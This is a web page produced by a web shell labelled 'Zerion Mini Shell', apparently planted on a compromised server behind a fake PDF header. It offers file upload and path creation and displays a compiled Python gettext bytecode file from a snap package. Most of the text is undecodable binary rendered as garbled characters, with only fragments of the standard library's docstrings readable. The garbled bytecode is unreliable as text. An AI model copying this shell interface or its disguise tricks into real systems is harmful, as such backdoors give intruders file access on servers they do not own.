%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/current/usr/lib/python3.5/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/current/usr/lib/python3.5/__pycache__/gettext.cpython-35.pyc



|�g�H�@s�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	dddddd	d
ddd
dddddddgZ
ejjej
dd�Zdd�Zdd�ZGdd�d�ZGdd�de�Zddddd�ZiZddddddd�Zdddd d	�Ziaiad!add"d
�Zdd#d�Zdd$d�Zd%d
�Zd&d�Zd'd�Zd(d�Z d)d�Z!d*d�Z"d+d�Z#d,d�Z$eZ%dS)-a�Internationalization and localization support.

This module provides internationalization (I18N) and localization (L10N)
support for your Python programs by providing an interface to the GNU gettext
message catalog library.

I18N refers to the operation by which a program is made aware of multiple
languages.  L10N refers to the adaptation of your program, once
internationalized, to the local language and cultural habits.

�N)�ENOENT�NullTranslations�GNUTranslations�Catalog�find�translation�install�
textdomain�bindtextdomain�bind_textdomain_codeset�dgettext�	dngettext�gettext�lgettext�	ldgettext�
ldngettext�	lngettext�ngettextZshare�localecs�ddl�ddl}|jtj|�j�}y�fdd�|D�}Wn!|jk
rstd��YnX|r�td��|jdd�}|jd	d
�}t	j
d���jd|�}t	j
d
����fdd��dg}x�|D]�}|dkr!|jd�q�|dkrxt
|�dkrKtd���j�|j��}|dd|7<q�|d|7<q�W�j�|j��}td|�S)z�Gets a C expression as used in PO files for plural forms and returns a
    Python lambda function that implements an equivalent expression.
    rNcs9g|]/}|d�jkr|ddkr|�qS)r��n)�NAME)�.0�x)�token��/usr/lib/python3.5/gettext.py�
<listcomp>Gs	zc2py.<locals>.<listcomp>z;plural forms expression error, maybe unbalanced parenthesisz*plural forms expression could be dangerousz&&z and z||z or z\!([^=])z not \1z(.*?)\?(.*?):(.*)cs8d|jd�|jd��j�|jd��fS)Nz(%s if %s else %s)�r�)�group�sub)r)�expr�replrrr#Xszc2py.<locals>.repl��(�)rz%unbalanced parenthesis in plural formz(%s)zlambda n: int(%s)���r')r�tokenize�generate_tokens�io�StringIO�readline�
TokenError�
ValueError�replace�re�compiler!�append�len�pop�eval)�pluralr(�tokensZdanger�stack�c�sr)r"r#rr�c2py?s4	
r;c
Cs�tj|�}d}d	}d
}d}|jd�}|dkro||d�}|d|�}||O}nd}|jd�}|dkr�||d�}|d|�}||O}nd}|jd�}|dkr||d�}|d|�}||O}nd}|}	g}
xrt|d�D]`}||@s.|	}||@rY||7}||@rm||7}||@r�||7}|
j|�q.W|
j�|
S)Nrrr�@r$�.�_rr�)rZ	normalizer�ranger2�reverse)
�locZCOMPONENT_CODESETZCOMPONENT_TERRITORYZCOMPONENT_MODIFIER�mask�posZmodifier�codesetZ	territoryZlanguageZret�i�valrrr�_expand_langqsJ









rHc@s�eZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
ddd�ZdS)rNcCsAi|_d|_d|_d|_|dk	r=|j|�dS)N)�_info�_charset�_output_charset�	_fallback�_parse)�self�fprrr�__init__�s				zNullTranslations.__init__cCsdS)Nr)rNrOrrrrM�szNullTranslations._parsecCs)|jr|jj|�n	||_dS)N)rL�add_fallback)rN�fallbackrrrrQ�s	zNullTranslations.add_fallbackcCs|jr|jj|�S|S)N)rLr)rN�messagerrrr�s	zNullTranslations.gettextcCs|jr|jj|�S|S)N)rLr)rNrSrrrr�s	zNullTranslations.lgettextcCs7|jr|jj|||�S|dkr/|S|SdS)Nr)rLr)rN�msgid1�msgid2rrrrr�s
	zNullTranslations.ngettextcCs7|jr|jj|||�S|dkr/|S|SdS)Nr)rLr)rNrTrUrrrrr�s
	zNullTranslations.lngettextcCs|jS)N)rI)rNrrr�info�szNullTranslations.infocCs|jS)N)rJ)rNrrr�charset�szNullTranslations.charsetcCs|jS)N)rK)rNrrr�output_charset�szNullTranslations.output_charsetcCs
||_dS)N)rK)rNrWrrr�set_output_charset�sz#NullTranslations.set_output_charsetcCs�ddl}|j|jd<t|d�r�d|krK|jd|jd<d|krg|j|jd<d|kr�|j|jd<d|kr�|j|jd<dS)Nrr>�__contains__rrrr)�builtinsr�__dict__�hasattrrrr)rN�namesr[rrrr�szNullTranslations.install)�__name__�
__module__�__qualname__rPrMrQrrrrrVrWrXrYrrrrrr�sc@sjeZdZdZdZdZdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�ZdS)rl�*l�$<rrcCs|d?|d@fS)z/Returns a tuple of major version, minor version�i��r)rN�versionrrr�
_get_versions�szGNUTranslations._get_versionsc"Cs�tj}t|dd�}i|_}dd�|_|j�}t|�}|d|dd��d}||jkr�|d	|dd
��\}}	}
}d}nO||jkr�|d|dd
��\}}	}
}d
}nt	dd|��|j
|�\}
}|
|jkr8t	ddt|
�|��x�t
d|	�D]�}||||
|
d��\}}||}|||||d��\}}||}||kr�||kr�|||�}|||�}nt	dd|��|dkr(d}x|jdjd��D]}|j�j�}|sAq d}}d|kr�|jdd�\}}|j�j�}|j�}||j|<|}n|r�|j|d|7<|dkr�|jd�d|_q |dkr |jd�}|djd�d}t|�|_q W|jp4d}d|kr�|jd�\}} |jd�}t||�}xRt|�D]%\}}!t|!|�|||f<q�Wnt||�|t||�<|
d7}
|d7}qHWdS)z8Override this method to support alternative .mo formats.�namer$cSst|dk�S)Nr)�int)rrrr�<lambda>�sz(GNUTranslations._parse.<locals>.<lambda>z<INr?rz<4I�z<IIz>4Iz>IIzBad magic numberzBad version number �zFile is corrupt�
�ascii�:rzcontent-typezcharset=zplural-forms�;zplural=s)�struct�unpack�getattr�_catalogr6�readr3�LE_MAGIC�BE_MAGIC�OSErrorrd�VERSIONS�strr@�split�encode�decode�strip�lowerrIrJr;�	enumerate)"rNrOro�filenameZcatalogZbufZbuflen�magicrcZmsgcountZ	masteridxZtransidxZiiZ
major_versionZ
minor_versionrFZmlenZmoffZmendZtlenZtoffZtend�msg�tmsgZlastkZb_item�item�k�vr6rWrTrUrrrrrM�sr	
%	%	#
#


	
 
zGNUTranslations._parsecCsst�}|jj||�}||krG|jrC|jj|�S|S|jr`|j|j�S|jtj��S)N)	�objectrq�getrLrrKryr�getpreferredencoding)rNrS�missingr�rrrrAs			zGNUTranslations.lgettextcCs�yL|j||j|�f}|jr8|j|j�S|jtj��SWnEtk
r�|jr{|jj|||�S|dkr�|S|SYnXdS)Nr)	rqr6rKryrr��KeyErrorrLr)rNrTrUrr�rrrrLs	
	zGNUTranslations.lngettextcCsKt�}|jj||�}||krG|jrC|jj|�S|S|S)N)r�rqr�rLr)rNrSr�r�rrrrZs		zGNUTranslations.gettextcCssy |j||j|�f}WnLtk
rn|jrO|jj|||�S|dkrd|}n|}YnX|S)Nr)rqr6r�rLr)rNrTrUrr�rrrrcs 
		zGNUTranslations.ngettextN)rr)r_r`rarsrtrvrdrMrrrrrrrrr�sT	FcCs�|dkrt}|dkrvg}x6d	D].}tjj|�}|r+|jd�}Pq+Wd|krv|jd�g}x>|D]6}x-t|�D]}||kr�|j|�q�Wq�W|r�g}	nd}	x�|D]�}|dkr�Ptjj||dd|�}
tjjd|dd|�}tjj	|
�rV|rR|	j|
�n|
Stjj	|�r�|r~|	j|�q�|Sq�W|	S)
N�LANGUAGE�LC_ALL�LC_MESSAGES�LANGrl�Cz%s.moz/usr/share/locale-langpack)r�zLC_ALLzLC_MESSAGESr�)
�_default_localedir�os�environr�rxr2rH�path�join�exists)�domain�	localedir�	languages�allZenvarrGZnelangsZlangZnelang�result�mofileZ	mofile_lprrrrqsD


	
cCs|dkrt}t|||dd�}|sO|r=t�Sttd|��d}x�|D]�}|tjj|�f}	tj	|	�}
|
dkr�t
|d��}tj|	||��}
WdQRXtj|
�}
|r�|
j
|�|dkr�|
}q\|j|
�q\W|S)Nr�Tz$No translation file found for domain�rb)rrrrurr�r��abspath�
_translationsr��open�
setdefault�copyrYrQ)r�r�r�Zclass_rRrEZmofilesr�r��key�trOrrrr�s*

	cCs,t||ddd|�}|j|�dS)NrRTrE)rr)r�r�rEr^r�rrrr�sZmessagescCs|dk	r|atS)N)�_current_domain)r�rrrr	�scCs&|dk	r|t|<tj|t�S)N)�_localedirsr�r�)r�r�rrrr
�s
cCs#|dk	r|t|<tj|�S)N)�_localecodesetsr�)r�rErrrr�s
cCsTy.t|tj|d�dtj|��}Wntk
rF|SYnX|j|�S)NrE)rr�r�r�rur)r�rSr�rrrr�s
	cCsTy.t|tj|d�dtj|��}Wntk
rF|SYnX|j|�S)NrE)rr�r�r�rur)r�rSr�rrrr�s
	cCsjy.t|tj|d�dtj|��}Wn&tk
rV|dkrN|S|SYnX|j|||�S)NrEr)rr�r�r�rur)r�rTrUrr�rrrr
�s
	cCsjy.t|tj|d�dtj|��}Wn&tk
rV|dkrN|S|SYnX|j|||�S)NrEr)rr�r�r�rur)r�rTrUrr�rrrrs
	cCs
tt|�S)N)rr�)rSrrrrscCs
tt|�S)N)rr�)rSrrrrscCstt|||�S)N)r
r�)rTrUrrrrrscCstt|||�S)N)rr�)rTrUrrrrrs)&�__doc__rr�r*r�r0rn�sys�errnor�__all__r�r��base_prefixr�r;rHrrrr�rrr�r�r�r	r
rrrr
rrrrrrrrrr�<module>s@&T	2*F�5

Zerion Mini Shell 1.0